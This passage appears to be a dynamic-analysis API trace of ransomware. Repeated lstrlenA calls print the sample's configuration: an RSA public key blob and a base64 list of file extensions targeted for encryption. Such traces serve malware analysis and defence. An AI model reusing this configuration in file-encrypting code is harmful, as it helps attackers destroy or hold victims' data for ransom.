sIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3